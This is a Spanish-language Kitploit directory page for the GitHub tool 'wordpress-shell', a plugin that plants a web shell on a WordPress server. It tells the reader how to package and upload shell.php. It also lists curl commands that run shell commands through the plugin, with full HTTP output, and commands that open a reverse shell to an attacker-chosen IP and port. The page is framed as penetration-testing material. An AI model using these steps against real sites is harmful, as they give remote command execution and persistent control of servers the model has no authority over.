Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
wordpress-shell — Shell de Ejecución de Comandos para WordPress Barato y Sórdido | Kitploit
Herramientas/GitHubGitHub/leonjza/wordpress-shell
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubleonjza/wordpress-shell

wordpress-shell

Shell de Ejecución de Comandos para WordPress Barato y Sórdido

Ver Repositorio
92493hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

wordpress-shell

Shell de ejecución de comandos de Wordpress barata y desagradable.

¡Ejecuta comandos como el servidor web con el que sirves Wordpress! El shell subido probablemente estará en /wp-content/plugins/shell/shell.php

Instalación

Para instalar el shell, asumimos que tienes acceso administrativo a la instalación de Wordpress y puedes instalar plugins. O bien sube el archivo zip ubicado en el directorio dist/, o crea tu propio archivo con:

root@kitploit:~
$ zip -r shell.zip shell.php
  adding: shell.php (deflated 39%)
  
$ ls -lah shell.zip
-rw-r--r--  1 bob  staff   492B Aug 29 14:17 shell.zip

Una vez subido, navega a /wp-content/plugins/shell/shell.php y proporciona cmd o ip como argumento.

Ejemplo de uso

root@kitploit:~
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"cmd":"uname -a"})')"
* About to connect() to 192.168.0.1 port 80 (#0)
*   Trying 192.168.0.1...
* connected
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> GET /wp-content/plugins/shell/shell.php?cmd=uname+-a HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 192.168.0.1
> Accept: */*
> 
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Date: Thu, 28 Aug 2014 09:28:24 GMT
< Server: Apache/2.2.14 (Ubuntu)
< X-Powered-By: PHP/5.3.2-1ubuntu4
< Vary: Accept-Encoding
< Content-Length: 191
< Content-Type: text/html

Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

Reverse shell (puerto predeterminado:443)

root@kitploit:~
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101"})')"
root@kitploit:~
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101","port":"1234"})')"
Descargar herramienta